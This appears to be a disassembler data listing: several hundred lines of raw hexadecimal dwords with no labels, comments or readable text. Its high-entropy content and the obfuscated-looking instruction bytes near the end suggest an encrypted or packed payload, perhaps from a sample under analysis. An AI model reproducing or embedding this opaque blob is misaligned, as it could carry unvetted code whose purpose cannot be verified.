dd 17AE8BEAh, 0D3050000h, 7E76CBD7h, 2DAD9C3Ah, 0D1046561h
dd 817ACFCBh, 79189733h, 0EDE9B724h, 4B575D9Ch, 12B804F6h
dd 0E6ECAA2Fh, 312287FEh, 0E0F9FDE4h, 696E79BDh, 62EFD823h
dd 0DE0B9144h, 0A9EFE8ABh, 0A13A7E76h, 0E461D97Eh, 0AB8001FAh
dd 15493B2Fh, 0E0AC2E08h, 3A773BA1h, 0EF74A207h, 0D0AF0418h
dd 86FBB790h, 92BF8425h, 207B41B4h, 5ECB7EABh, 53128545h
dd 9C03A4DFh, 77DDD33Bh, 7566299Eh, 6895DC2Fh, 5D8AC35Ah
dd 0DA211E8Ch, 0DD4C60EDh, 95DBD27Ch, 726726A4h, 0B905F534h
dd 4AD0E962h, 48CB4AFDh, 49DB6EEFh, 0FFC8A757h, 85018770h
dd 0EAB82564h, 0DE815A93h, 612D4F19h, 2C8ACB0Ah, 8D488AF7h
dd 76135EF0h, 16E32Fh, 1A9E5800h, 4D498DFCh, 0B4F8E041h
dd 1E9C5B2Eh, 464CB1F0h, 7B442358h, 0D3963C82h, 0D7C9A28h
dd 62C7C3CFh, 0ABAB3775h, 0E77CFD5Ah, 0E895F9FDh, 23696E22h
dd 9262EFD8h, 2F069351h, 0F46BA0A2h, 0EB9E963h, 5069558Ah
dd 0C3D788D1h, 521501FEh, 46C4E5A3h, 7DAAF8E3h, 484E8BCAh
dd 9BC81942h, 4DD4F9FEh, 30A7E699h, 1DA136Ah, 0BD73E405h
dd 4C6F52C4h, 37A0AF38h, 0FD625571h, 50F156C9h, 810418EAh
dd 0F4B7AAh, 0AB2B1E84h, 5DA8F6E5h, 6CD9E712h, 6C6DD437h
dd 0A9CBC12Eh, 2540FE75h, 163F5Ah, 4642B400h, 0A9EDE958h
dd 109C5C2Dh, 7A40B78Ah, 0A2F0ED5Ch, 0D7E88F24h, 0F729826h
dd 69D8C6CCh, 0DEA32F73h, 4F779319h, 0E7A09136h, 0C71F9FDh
dd 577B18CEh, 0FD677D0h, 300F01FEh, 28298E31h, 0F9F9FDEFh
dd 0B7F63982h, 58B4E42h, 923875E6h, 9396B6D9h, 7489110h
dd 0C5F9FDEFh, 0FDEFF364h, 0C95522F9h, 0EF5E1FB8h, 0B8F7F9FDh
dd 2C117A43h, 0E5F9FDEFh, 1C495784h, 0EF92A089h, 9E9FF9FDh
dd 66808F09h, 98DD2874h, 3287B1FFh, 52D5A1A9h, 3FE9B97Fh
dd 8C47B92Eh, 0CE0B51D8h, 0CB52609Bh, 43F43982h, 0CE000000h
dd 0D2557918h, 18B9C075h, 0A19502FCh, 0B0BDAAFCh, 62D94D9Eh
dd 0FB013E1Bh, 0D412FC18h, 5174A9E0h, 1BDB3A04h, 0EF000000h
dd 0A1EDEFAEh, 0A932767Eh, 18B93240h, 0C7EB68FCh, 0DC3FE740h
dd 195601FAh, 7B18F7FDh, 8A119D5Dh, 92151441h, 0C9B82AD3h
dd 0F85C5AD5h, 0D60766D3h, 1DBEACF5h, 1A5101FAh, 20178083h
dd 48C22FF0h, 0E4155C6Dh, 904938A6h, 0E8CF5BD6h, 27F0BE4h
dd 3D8378FBh, 12E2A4EEh, 2BA933A4h, 4D4B8A63h, 0B59CBD3Eh
dd 20572C5h, 0F00B9743h, 0C5A4627Bh, 0BA779614h, 298EB195h
dd 419BC09h, 0B032A998h, 5B42D2D1h, 0B4D70C98h, 0BDCCCA07h
dd 0B290C92Ch, 578A63C1h, 9EC11AA0h, 6FC85359h, 7F8AADF1h
dd 0DC6A5A1Ch, 0CA515D9Dh, 2F138881h, 42127534h, 0BB01F679h
dd 0EFAD2A1Fh, 23D2959Ch, 0BB88E8B9h, 3D6A27F1h, 7432A5ACh
dd 0DF48C911h, 0CBF6C069h, 1B43641Dh, 9C1ADF2Bh, 0C0C63376h
dd 0E3C74CA5h, 0CB9FDB7Ch, 0F9B68206h, 2D6B6CDDh, 5E6497DEh
dd 310547CFh, 89614C5h, 60D176F9h, 0B175C6A2h, 797EE1FAh
dd 721FE833h, 4C8E2B5Eh, 878824C7h, 9A5F22A8h, 0C786891Ch
dd 1C0C5416h, 37C74443h, 0EB98E1FAh, 0B083D8A3h, 8770BEB6h
dd 36A48501h, 2BD0136Ah, 0F875E265h, 823313CBh, 8DD753C4h
dd 0B02C337Ch, 74F60C17h, 0F965F280h, 0EE63722Fh, 7A48B5F4h
dd 2E11AA23h, 0A7EBEAACh, 0A4117432h, 0D594326Fh, 0A5E49B27h
dd 3746B638h, 0E2FF7DC1h, 0C60914B5h, 3072890Fh, 0CA307E76h
dd 7369D8C6h, 7EE3DC2Fh, 0D472D74Ah, 0F9E3A16h, 430DD530h
dd 0C9D50773h, 3D7B7CCDh, 347267EEh, 2B1B5DD1h, 0ED9C1ADFh
dd 5AC1E7Ch, 5861B0F2h, 9609C442h, 1CA6DFA7h, 98000000h
dd 0C5206C6Eh, 0DC4367ECh, 88515D9Dh, 0C42EA009h, 8AE101FAh
dd 1CDD0Ch, 6EE10000h, 0ECC5206Ch, 7BDC4367h, 1FAC053h
dd 860CCFB2h, 6597D649h, 3089C259h, 7D0F6C6Ah, 5A25CC1h
dd 0FC18B954h, 723EBC8Dh, 0F059C805h, 1FAC3BAh, 52266DDh
dd 0F529DA54h, 180F2320h, 6FFE57BFh, 1F1DBEFBh, 5A6A38D3h
dd 645DA8E5h, 1554CBFFh, 8ACB6CE4h, 5BFC6F20h, 0EB16B7ECh
dd 8D6A244Eh, 3D63F401h, 24A23224h, 0BE02F629h, 5188F92Dh
dd 46B33843h, 515780C3h, 8F03F4B5h, 0BC27464Ch, 0A714773Dh
dd 0B6F03D6Ah, 0B903E7E7h, 130A85ECh, 77610000h, 22D29733h
dd 0D1097866h, 7560C1CDh, 25D6AB37h, 1DC4739Fh, 49555B80h
dd 17B301F8h, 0FEE4A852h, 42484E8Bh, 95C66382h, 4CF9FDDBh
dd 0C78805C1h, 0B3FC18BAh, 81A666AEh, 51F1AA41h, 0AAC465E4h
dd 4501FA29h, 0C2387BEEh, 6B91D0FEh, 5C9DC427h, 0D4CFD15Eh
dd 0D9AC045Eh, 12AB76h, 0D2D60000h, 5817534h, 6C30A899h
dd 0D6D40366h, 3E8479C8h, 237C1B90h, 9BEEF4BAh, 0F5B45260h
dd 2A1FBB07h, 0E3E3EFADh, 0DB342582h, 0A0EDF9FDh, 577B187Ah
dd 0D9FF77D0h, 591601FAh, 5102A726h, 8DF9FA99h, 0FE748ECBh
dd 0F64DC9AFh, 0EBEBAAD5h, 3F7432A5h, 6226AE93h, 138F181Bh
dd 8FFB2031h, 9F5807A0h, 0FD248219h, 2B723EBAh, 1F6E32A8h
dd 1E5861DEh, 981CD826h, 8B216E72h, 0EAAEAF08h, 867F9FAh
dd 0C9F23D9h, 1905FECFh, 40B4F52Bh, 5782C544h, 8CD57049h
dd 0F9FAEAF6h, 77C3B3ADh, 0AA9F3B7Fh, 0A21F6E2Ah, 319689BDh
dd 41C5C3Ch, 0F3CD59CEh, 0F2098F48h, 1C8DD079h, 0E65DC912h
dd 0F1B72063h, 256394D5h, 4064E9C6h, 65C95EC1h, 2B03E648h
dd 0C793FB6h, 9AE52BBh, 8AE10A39h, 6523D497h, 2AE775E2h
dd 3AE58BA0h, 2586F3C1h, 0D1D70061h, 0A0EEEFAEh, 0ACB71045h
dd 671ACE53h, 56EF14C2h, 0C455D410h, 9568C53Fh, 20112A93h
dd 0F1EB9629h, 8EE521BAh, 0B3544961h, 1C6702F2h, 1188h
dd 11BDF9FFh, 0FAE0A450h, 434F5387h, 15B1F7FEh, 0FD19A754h
dd 0DD1E9F46h, 8376CBD7h, 2AD0913Dh, 0D0097866h, 0E100CCCAh
dd 0FDDA1758h, 8747CEF9h, 18B9CE88h, 9C20DAFCh, 6C30AAEDh
dd 1F0BDC19h, 6C13375Ch, 0FE0FDDCBh, 43B7001h, 8D099545h
dd 77855C7h, 44D53A84h, 0D8F9D8B2h, 0C9369731h, 16Bh, 507C18FDh
dd 7509AE6Ah, 61FC18B9h, 39AECEF4h, 77C20D61h, 0A2EEEADBh
dd 0AA2D5475h, 5BA2F0EBh, 69FDC912h, 0EFAE56A1h, 2C05A6ECh
dd 82A00E22h, 11974003h, 0D91E418Ah, 183C0AD3h, 119F5C7Ah
dd 834A5A4h, 2B6B0F5Bh, 9DDE02C8h, 0F4AA6FFCh, 556F17D3h
dd 4078855h, 5782C53Dh, 0D6733249h, 0FF18B965h, 318AC7BCh
dd 2DCCh, 7E18F600h, 0EFAE9452h, 9918A1EDh, 18B90230h
dd 6394D5FCh, 0E079E825h, 0C2EBD28Ch, 66446589h, 6A6E94AEh
dd 4A709826h, 258Eh, 7E18B400h, 2FAE9452h, 18B9C98Ah, 9A2318FCh
dd 0B9BCB217h, 2DAAFC18h, 6E94AE81h, 0E1AF2C6Ah, 0DEE4519Ah
dd 88554A70h, 0C73D0407h, 69h, 8A2FAEFBh, 0FC18B9C9h, 0E9AD2918h
dd 0CC522BBCh, 41E66918h, 0FC18B910h, 95516AC1h, 6B6C2FAEh
dd 5F97DE2Dh, 74DDEE5Bh, 0FC18B9FEh, 13829D0Ah, 702EB3DDh
dd 0F9C2C831h, 0AEE8D6ADh, 9E3BAC2Fh, 0A77985D2h, 331C5DEEh
dd 7E35FC18h, 666E996Dh, 4A708422h, 448Eh, 2B8C0F00h, 0FC18B92Ah
dd 9A5D8CFBh, 7B4C891Ch, 567A188Fh, 6C2FAE68h, 9A3F226Eh
dd 0FC18B9D9h, 41AA3308h, 0FC18B92Dh, 60D17639h, 0B1FC18B9h
dd 0AE218DFAh, 4A0BAC2Fh, 9BFC18B9h, 6E2F1BACh, 70842266h
dd 0FE838E4Ah, 18B4FFFFh, 77D0577Bh, 1FE0FD6h, 4E31300Fh
dd 62870389h, 90EBB723h, 0A6A9825Bh, 35268386h, 0ECF9FDEFh
dd 4A0D7497h, 54BD0E8Ah, 0F9FDEFE1h, 86B480C6h, 3E8F13C7h
dd 0E965D508h, 327A3Fh, 0AE4C0000h, 77FE7EFh, 0F11F14C5h
dd 0EF6CBFF4h, 49F875DEh, 0DCAFC18h, 1D4A5885h, 49D856F1h
dd 0F19EFC18h, 750DAADDh, 9C01FA23h, 0D5A63BA7h, 0DC000000h
dd 0D0577B18h, 0FACF5B77h, 0C166E901h, 0F9FAAE90h, 43B7EA41h
dd 43386E7Fh, 0DB1A5DDCh, 97450CDDh, 40BA8F0Bh, 2766297Ch
dd 0E7D0E9B5h, 46D3567Ah, 0FBC8425Bh, 0CBC04C81h, 0C0A40F87h
dd 4CCF328Bh, 0EAED75DBh, 0E6C77A68h, 1CA8D89Dh, 73A7104h
dd 0FC0F9544h, 60236E7Fh, 19A8367Ah, 44003196h, 9AD1F7DFh
dd 1ADC1E41h, 0DF44BCBDh, 0A11E55F7h, 10E06D5Ah, 397B95DCh
dd 0C245B27Dh, 397ED665h, 0F170CF0Ah, 0C7CB0F4Eh, 387E7BE6h
dd 662AAF92h, 0F6BC2171h, 0BCE92697h, 951F5577h, 0E04326F8h
dd 0EA4h, 3DD9DD1Bh, 860C884Ch, 6F6B37A3h, 31DDDB1Ah, 99058B70h
dd 0C13A8362h, 6792D7F3h, 0ECCBD59h, 0B4250482h, 9DE4E8F6h
dd 0FDDF3B3Ch, 63ABEAF9h
dd 40E9696Eh, 0FC18B90Fh, 347A63C6h, 0F87B82FFh, 65D673FFh
dd 0B1FC18B9h, 8B7CD31Bh, 7FC248D0h, 86F9367Ch, 0BD3E4D53h
dd 2F892540h, 0A8EEEB57h, 60A96422h, 85043A04h, 0E0B4A502h
dd 166DFC18h, 18E00435h, 4566DDFCh, 81D8h, 0EFAEE200h
dd 2C05A6ECh, 8B1C0327h, 53F8B8C3h, 21D908C9h, 0FCCD0E9Dh
dd 887332B5h, 516AE33Ah, 0FAB7AE08h, 40BBFA01h, 0C13E8278h
dd 0C853599Eh, 97EC3A83h, 8E0CCD74h, 2E210E9Bh, 3D27701Eh
dd 21AAF1BDh, 7237D3F4h, 0BE40785h, 0EDB32806h, 59CDD7Ah
dd 0FEB5F9FAh, 17DF9E81h, 0FAC30893h, 72BC12B7h, 12570418h
dd 0B40DBE9h, 18B130DEh, 0E710B725h, 78115AA1h, 256486E7h
dd 5A93EAB8h, 666EA581h, 11C5A422h, 4C0F7695h, 50B9028Eh
dd 0FC18B918h, 2CAAF6E4h, 0CD08262Bh, 0C23FBCCFh, 0F5DFA5Fh
dd 0FFB401FEh, 0EF60C948h, 0FDF9FDEFh, 0EE6FBEFCh, 0FA24D760h
dd 0C6FC5523h, 8EF13089h, 9258464Ah, 84077855h, 19AD73Ah
dd 0D1500000h, 98B9C788h, 98211EFCh, 507C18A2h, 0BA2FAE6Ah
dd 7958F5C3h, 4C953626h, 0FC187436h, 403955C2h, 0BD12A812h
dd 18985B1Ch, 40BD8AFCh, 6393DE67h, 980B4CEDh, 6DDAFC18h
dd 0AEFFFB30h, 0EDA16994h, 50E5FD6Ah, 9639CDBEh, 181E84B5h
dd 0C5E65DFCh, 527E18E1h, 0AEB88294h, 0B9C98A2Fh, 0E918FC18h
dd 18B90F40h, 3C69C6FCh, 984CD2ABh, 55556F52h, 3D040788h
dd 555382C5h, 5C0F74h, 18330000h, 0AE94527Eh, 18B97509h
dd 0A0A79CFCh, 6BB2F8E1h, 0AEEDD9E2h, 266A6E94h, 3CECB623h
dd 16AE9DA7h, 0F170F1B5h, 93CCA658h, 96C72664h, 0F2B04B85h
dd 1838E455h, 9463DFCh, 4F8ECAB0h, 0F000000h, 0ABAC0D8Ch
dd 7AFC18B9h, 0B93B3C0Dh, 9DEAFC18h, 0B90C4DEAh, 6EC5FC18h
dd 7E18695Dh, 9AE9452h, 0FC18B975h, 0AFC51287h, 0B586D68Ah
dd 0E0CE0B14h, 6E6C2FAEh, 6EAD9922h, 0AE98266Ah, 2FAAEEEFh
dd 64D11A61h, 52F3D401h, 206C6C2Fh, 8855A387h, 0C73D0407h
dd 35h, 567A18FBh, 7509AE68h, 9CFC18B9h, 43C7DC7Bh, 326F12FCh
dd 6E94AEB4h, 0E8AC2866h, 0F4E9589Dh, 707571AEh, 68E94EF1h
dd 0B9FC18B9h, 8E0DF9C2h, 46h, 567A18B4h, 6C2FAE68h, 0C4DEA6Ch
dd 0C5FC18B9h, 9CE316Eh, 5DD13A83h, 49FC18B9h, 9D5A1D0Ch
dd 46A5E115h, 84DD815h, 94AECBBFh, 0B028666Eh, 0F1B0B7ECh
dd 0F27B8208h, 65464C8Fh, 0EBEFAE81h, 0B61744A7h, 5D8E5195h
dd 0B4FFFFFEh, 0A6ECEFAEh, 0B95506A3h, 0B78CFC18h, 16305D16h
dd 6DBCDDE3h, 0AE303671h, 72D74A87h, 1FE3AD1h, 75342B00h
dd 80030684h, 0FD323627h, 5D9AEFF9h, 528FCC5Fh, 5A6ECEFh
dd 1BCB5601h, 0F562E564h, 0B35E05B5h, 6AEB7C86h, 0BBF9FDE4h
dd 0A192FBCCh, 70F9FDE4h, 9745043Bh, 9AD7DB01h, 6AF1CA03h
dd 0F55ABE2Bh, 2485AFC5h, 253B3A83h, 0D610F9FDh, 0AB76ABDEh
dd 21D53FE9h, 52000000h, 0F5224C5h, 7EA1783Eh, 0D397307Ch
dd 18B9FB88h, 8A10C9FCh, 0E1DD0Ch, 1B5A0000h, 390DDEDCh
dd 0D0577B18h, 0FACF3777h, 55F27501h, 0F9FAAFE4h, 2165463Dh
dd 880FBB96h, 0EE5B69C8h, 0FEC2387Bh, 276B91D0h, 5718A120h
dd 8EF9FAC3h, 28298EB1h, 0F9F9FAC3h, 0A5123982h, 129594B8h
dd 0C3E4AA53h, 1C75F17Ah, 2F880B04h, 0F7DF692Eh, 0EB3F88E7h
dd 30AAED9Ch, 3EBAFD6Ch, 0C3C70F72h, 0FCAA33B8h, 0DC434F8Dh
dd 0CA515D9Dh, 696DEE4Bh, 0CFA4F7DFh, 0D5224992h, 44E56448h
dd 0A39D831h, 0D19097ECh, 0C5646228h, 36555382h, 0BC3D2485h
dd 668503F4h, 69BCFAFFh, 17B0B7ECh, 0EDB5A626h, 2E4B80FFh
dd 0F894C4F8h, 79472E7Bh, 0CE00000Ah, 23068C08h, 96EBF7B3h
dd 0F1B05E62h, 271A8006h, 55E2E8B6h, 0A6EC11AEh, 0C924938h
dd 7539A386h, 0D9DF1869h, 57F0313Dh, 0F9FDD3E6h, 0AEB4763Fh
dd 0B9C98A2Fh, 2318FC18h, 6422D79Ah, 9319DE01h, 8470FA08h
dd 44FBC136h, 0F4D5D105h, 0C069316h, 7953276Dh, 924FFBCCh
dd 393A04B7h, 4Eh, 0BF03F7B6h, 0E8DEEF6Ch, 0D0577B18h
dd 0FACECF77h, 3D9A1D01h, 0F9FAAC3Ch, 0D94D9ED5h, 0FC237168h
dd 0EC69BCF8h, 0ECED54B7h, 984120AEh, 113E8B12h, 0AFFEC437h
dd 2CFC67F2h, 0F22F498Ch, 13C38285h, 0E6C77497h, 15AC1EBBh
dd 68C70418h, 39AE6462h, 68B1C3EEh, 5266F7F5h, 0C6431D45h
dd 7C78E7C0h, 0A4C7C532h, 8BDCFA37h, 0FC18E4C3h, 739F23D9h
dd 107C59CEh, 3ABB99EFh, 674BC8A1h, 293947E0h, 67DC01FEh
dd 7539A1E0h, 78556369h, 0D73A8407h, 175h, 0E40CC750h
dd 0BEB0FD1Bh, 0EFAE592Dh, 2D06A7EBh, 0AEA10D27h, 26686C2Fh
dd 17B0EDB3h, 18B9B0CEh, 0E31A6FCh, 0B9292A8Fh, 83F8FC18h
dd 0C8119F5Ch, 6C2FAEF2h, 4EDB226Eh, 0F3E2D755h, 5E6FA465h
dd 56A16968h, 0A1EDEFAEh, 0C3272F18h, 18B9F566h, 8F8B2CFCh
dd 0F91B448h, 36BCE926h, 27800382h, 0FC18B936h, 7AC2F5E2h
dd 133F7A40h, 84E7AD2Eh, 0E5C11A57h, 3B9C7A18h, 0FC18B93Ah
dd 9B279CEBh, 8855556Fh, 0C73D0407h, 2Dh, 0EDEFAEFBh, 1D682EABh
dd 0D31863D8h, 3B29310Ah, 7509AEBFh, 9CFC18B9h, 2FAE1BA7h
dd 9A23696Ch, 266A6EACh, 8E4A7098h, 3Eh, 8E7E18B4h, 58424BF5h
dd 0ECCA0764h, 98BA2FAEh, 713D8BE4h, 0E4424F02h, 0E7BBED0h
dd 9CDE54BDh, 85CCFC18h, 0BA334A58h, 906DBF91h, 0F623DA60h
dd 6E94AEC8h, 7098266Ah, 404C8EF1h, 88558367h, 0C73D0407h
dd 46h, 567A18FBh, 206490D3h, 0A773E837h, 4B9C9DA3h, 7509AE7Fh
dd 9CFC18B9h, 94AE1BA7h, 0EA0439AEh, 0C5634A27h, 37797DE4h
dd 2482FFC3h, 884239AEh, 4FE1D8E5h, 0AEE9ED7Eh, 31506E39h
dd 7657EC88h, 2A2Bh, 2FAE5300h, 18B9C98Ah, 9A2318FCh, 238FBDA1h
dd 0B97509AEh, 0F461FC18h, 6E94AECEh, 0BC3F2266h, 18B95A1Bh
dd 2BBC8BFCh, 8E4A705Fh, 0FFFFFE82h, 577B18B4h, 0FD677D0h
dd 300F01FEh, 3894E31h, 994DD487h, 0B12467E6h, 0CF624037h
dd 33684907h, 121041AAh, 6AC1F9FDh, 12073613h, 6524F9FDh
dd 219D6AF4h, 617A90D5h, 479A0DF9h, 0E43FE970h, 26h, 0C217F465h
dd 0BBF4B870h, 0FB884422h, 0C9FC18B9h, 0DD0C8A10h, 0C5h
dd 18E01B5Ah, 18B9BEBFh, 0A31857FCh, 7B182C1Ah, 3851D057h
dd 318131A2h, 0CC8DDE55h, 5FC1867h, 671243E4h, 74C3FC18h
dd 0C663AE3Fh, 1FA3600h, 894463Bh, 1557A4FDh, 0F0D72B10h
dd 98DB4EBBh, 0F1B05E62h, 8B64870Bh, 1ABFA286h, 41D5555h
dd 0C18087FCh, 0F60B971Bh, 207B3FB7h, 0AD2F12ABh, 0BA3F7EE1h
dd 9B2CA9FCh, 361A07F0h, 0B8879633h, 211E0A36h, 367A7F3Eh
dd 28ADF8C4h, 46DF9039h, 3976EDB5h, 7663C6CCh, 0E5CDCB30h
dd 0FB8EF893h, 71F98h, 26629400h, 890DC9B8h, 0F0BC3C0Dh
dd 5A6097EAh, 8210CDBCh, 0B708EF04h, 0EF527846h, 4938A6ECh
dd 0BE830F93h, 6F577339h, 0D480B116h, 2C51F9FDh, 0EDEFAEEEh
dd 0A05918A1h, 6FA4E810h, 6624D51Ch, 1D8AEF07h, 2137422Ch
dd 7F3DB80Eh, 0C5B1B902h, 0FCA136B9h, 9FBE7F0Ah, 2AB7B881h
dd 116EFC18h, 4A5089C8h, 0A60BC64Ch, 33A03A04h, 9A000000h
dd 0D0577B18h, 0FADF1777h, 4EF14E01h, 0FAC3C70Fh, 6891D053h
dd 0A04EDB22h, 66AF9B3Eh, 41AA3368h, 0F9FA342Ch, 5ACDB93Fh
dd 3FE6A087h, 4C24h, 7B181E00h, 4377D057h, 8101FACAh
db 0DEh ; Þ
db 1Ah, 4Ah, 85h
dd 4B673A99h, 1B50ABE0h, 78EF44C2h, 1F1F50F9h, 7936F9FAh
dd 1B5AC560h, 81B217E1h, 50F9FA1Fh, 1E5FAE1Bh, 5D5582CDh
dd 38A6139Fh, 0F30A9049h, 32351906h, 184E3195h, 7793E804h
dd 0C5810F49h, 54F57458h, 1FAC326h, 0CFCD0879h, 5FC23FBCh
dd 0AD3D91Ch, 0E13E146h, 0A2AFB96Dh, 0D43E9B8Eh, 3FC7A28Bh
dd 0FA018F4Ah, 8E10471h, 8720270Bh, 0CDC089FFh, 0B1265916h
dd 8206BD15h, 29687136h, 0FBE331A6h, 0D18450B4h, 424C788h
dd 0F4211E2Eh, 2D6B6CD3h, 9117C0A1h, 25495614h, 0FD442138h
dd 5CCh, 0D5F1B523h, 0BE246094h, 7830FCBh, 0E9F5B322h
dd 0B15D6398h, 99425B3Ah, 3FBA8F0Bh, 0E6145571h, 8C4D3CDAh
dd 0A5DC800Eh, 0FDD65304h, 5B8382F9h, 0A2E8EFAEh, 86C9125Bh
dd 0B1304B51h, 78B4F49h, 60BCCCAh, 0D59A3F22h, 7C01FE0Fh
dd 6CB5F7DBh, 70ADD90Ah, 88468EF1h, 0FDE32E2Fh, 5388E7F9h
dd 133A83C8h, 6A6E28D0h, 0B88CE926h, 0B3045C8Ch, 5568FD6h
dd 2BAD0000h, 0D61E636Fh, 857534D2h, 29AC9D39h, 0D9026763h
dd 0D1B0CFCBh, 5810FCCh, 0E3EFB524h, 4A505C9Eh, 1E8402F7h
dd 0C98A2F56h, 18F9FDD6h, 7B18D115h, 0EE51D057h, 1744A7EDh
dd 0FE46DB6h, 5C2D01FEh, 40F5109Ch, 8971F00Bh, 90DEF805h
dd 0B4D1045Ch, 4FFEDh, 6827400h, 692DA998h, 0D0DC1C6Dh
dd 3A8077CAh, 6230AD9Ch, 9728CF64h, 0CFB25866h, 2918860Ch
dd 9EE3EFB3h, 8FB75359h, 0C960D176h, 0CCB1F9FDh, 577B180Eh
dd 0FC277D0h, 810001FEh, 0FDEF3738h, 0D87DE3F9h, 0A9C622F2h
dd 911FDCADh, 5594C10Ah, 4A831AA8h, 0CF5E1571h, 23485484h
dd 45CC94Dh, 99187B0Eh, 0EE000004h, 4326ACE8h, 0B68B1793h
dd 11507E42h, 473AA0E6h, 75820896h, 0C6CC318Eh, 2C7269D8h
dd 9519C3A6h, 0F9BF3809h, 379011DDh, 0F9FDC906h, 6E9456DFh
dd 0F40E969h, 1DFC18B9h, 348D3DFh, 4CF32807h, 0B8C3CF0Dh
dd 4083AA33h, 0D9DF1B97h, 0DA219E24h, 5DC12491h, 1ADF2B1Bh
dd 0C633769Ch, 0A6DCA5C0h, 0FDFC18B9h, 0D2077343h, 0DCED4h
dd 0FBBA3D2Ch, 0E26BB200h, 0FC370D9h, 5D2A01FEh, 286E6B2Ah
dd 2011B639h, 0EAF9FDEFh, 0FDEF0C4Dh, 0E06EC5F9h, 0D554328Bh
dd 86276592h, 0D981EDBh, 84BBAFB4h, 34258205h, 0EDF9FDEFh
dd 0E7A35396h, 59B37DC6h, 6DDA041Bh, 0C1387BFAh, 9A23A8F3h
dd 7E6422D7h, 0BDC8CE0Bh, 74EBDF44h, 307FE7D3h, 24413E0Ah
dd 0F895203Eh, 0BDF55C29h, 32000003h, 67DAC0C4h, 0DAAF2B6Fh
dd 3574921Eh, 6BDEC4C2h, 9A62C72h, 1AA8556Ah, 404E8DFCh
dd 0A9F5E75Ah, 1D9B5C2Dh, 13B4CDF1h, 0F9FDC822h, 6E48B2F3h
dd 0AB3C2369h, 0BCCA5E35h, 0E38A5313h, 0BCED7760h, 6EDE4701h
dd 0BDBE2491h, 2C8DBC90h, 1FAAC4Eh, 3477EA41h, 0E0A3FAC6h
dd 0FA2B1647h, 3B70CFF9h, 81BE9BA2h, 92F9FA2Bh, 0F4296054h
dd 5B3FE6A1h, 2Eh, 0EEEFAE6Fh, 71045A0h, 0D4207103h, 956E7F41h
dd 4A5A488h, 1FA3352h, 0A57B68Dh, 0F9FA4375h, 9D14E066h
dd 3FE70D40h, 109EFh, 696ED300h, 7E7D3C23h, 858C9730h
dd 728917C2h, 7C61E0F9h, 6B6CD736h, 9CEFB327h, 0CE8F285Fh
dd 7FC18B9h, 0DB4CF328h, 0C8BBE3A4h, 5C8A8331h, 0F8E5EF67h
dd 6FD67D4Eh, 1041E66Ah, 0C1FC1880h, 10913D6Ah, 86E5A951h
dd 0D52B7455h, 0E3FC1884h, 9CDD7AF6h, 6EFC1884h, 4F242266h
dd 44B5F412h, 82695D9Ah, 42BF8CD0h, 6D41CE3Bh, 0B34D5DFAh
dd 8FE401FAh, 2DCB4803h, 0FA3BCB8Ch, 0F02D1AF9h, 0EEBAE871h
dd 0ACDD041Fh, 0DF8C4A0Bh, 0C1669BF7h, 0F7DF8C90h, 40BDEA41h
dd 575D9EC1h, 6305F64Bh, 11D7EAA0h, 48B5E26Fh, 0FE7A628Ch
dd 696BCA5Fh, 0DE000002h, 33769C18h, 66DBC7C3h, 0C1A02E72h
dd 370A9016h, 0A5D2F8C6h, 0B6FCE1BEh, 1CA25928h, 4549B3F6h
dd 0A9EFE859h, 67C0212Dh, 0F9FDCBF6h, 0AEA4662Fh, 5A6ECEFh
dd 0F713A15Ah, 2C8D45B2h, 0FC18B92Bh, 4A508DFAh, 0CE8A237h
dd 6DBBBC1Dh, 1D6AFC18h, 76D8F17Ch, 7B189155h, 0EE51D057h
dd 1358A3E9h, 0D1F161CAh, 4B2001FAh, 0A1DA5730h, 8FC9F9FAh
dd 2B9D70B7h, 0BB323FE6h, 34000000h, 1EFB39AEh, 703BD3ACh
dd 0A9EFE857h, 6490D352h, 23D88720h, 0CF210E9Dh, 0FDFC185Bh
dd 5110BEFCh, 0CE8F28A8h, 7FC1853h, 5FA8F328h, 22DC232h
dd 0DB142A02h, 0CE0F9E1Ch, 84252491h, 1FACA82h, 9F58463Dh
dd 9F25D4F2h, 0E79A3F22h, 0E041F52h, 783CB8FBh, 0DE526EEFh
dd 93C8A7F7h, 0B12A6DECh, 8A5398E3h, 28816C7h, 8BF0BE3Fh
dd 0FE7AFC03h, 759EE184h, 0CA000001h, 3F02880Ch, 92D7F3B7h
dd 0CDBC5A66h, 23068C0Ah, 51EEF4BAh, 0A2F0EDB2h, 8964524h
dd 713DBF82h, 0A5E31455h, 6BCC3539h, 0F9FDCAEAh, 6EB07A3Bh
dd 0A120276Dh, 18B95718h, 28B18EFCh, 0CCCA0F72h, 696E18C6h
dd 6099D823h, 96BBBC5Ah, 17E42B8h, 0DF69B91Eh, 0A99801FAh
dd 2B716434h, 0FB2E9BD0h, 0E368B3FFh, 750A57B6h, 66F9FA9Eh
dd 409D14E0h, 0EF3FE636h, 31h, 0EDB12968h, 0BE8C5D9Eh
dd 0D0577B18h, 0FAD3FF77h, 914A0D01h, 9319DC03h, 0ACFAC308h
dd 56EBB4D7h, 45F9FAA3h, 21FC3303h, 8E3FE62Dh, 29h, 0EBEFAEB0h
dd 2B7960A7h, 0B9354992h, 0EC71FC18h, 0CF0649F8h, 0A039B2C9h
dd 38BFFE61h, 19A22B72h, 0FACD0EB0h, 0C8AE101h, 1739AE46h
dd 0D14087Bh, 5DA8F6E5h, 211AA318h, 9619083Ch, 418BEE01h
dd 924521A0h, 0A50EDF14h, 1FAAAC1h, 5F384338h, 0F9FAA822h
dd 48BFB731h, 3FE62095h, 133Ah, 0FB880C00h, 0BFFC18B9h
dd 2E8BBE92h, 1FACD9Ch, 0D4923877h, 0D0577B18h, 0A1E7EE51h
dd 6FC8115Ah, 1FE108Ah, 0EE51B483h, 4227A3E9h, 0ABF41795h
dd 4C157423h, 76C4B0FAh, 0AA9F3B81h, 151C6F2Dh, 7B043592h
dd 66DDAFA4h, 1DB1A45h, 0A6433FF0h, 0EDEE51E7h, 0DA1744A7h
dd 9FD6743h, 507E3CBDh, 5BA2E811h, 3F8h, 9DA70200h, 0D92C686Eh
dd 0C05B6196h, 34575B81h, 25404E8Dh, 287341BAh, 1F6E34A9h
dd 9B21D4h, 769519C1h, 788307CFh, 0E38953F2h, 4C381h, 0EB810000h
dd 4, 5C241C87h, 51240489h, 0C181E189h, 4, 4E981h, 0C870000h
dd 4895C24h, 0F4E6824h, 3C890000h, 4EC8124h, 89000000h
dd 83BE2434h, 8905E557h, 8B545EF0h, 0C481243Ch, 4, 8478F50h
dd 56243C8Bh, 0C681E689h, 4, 4C681h, 34870000h, 48B5C24h
dd 0E2895224h, 4C281h, 0C2830000h, 24148704h, 0A55E95Ch
dd 19F3FFFDh, 753EB89Ch, 0C50305E5h, 0AD48E0FFh, 23320679h
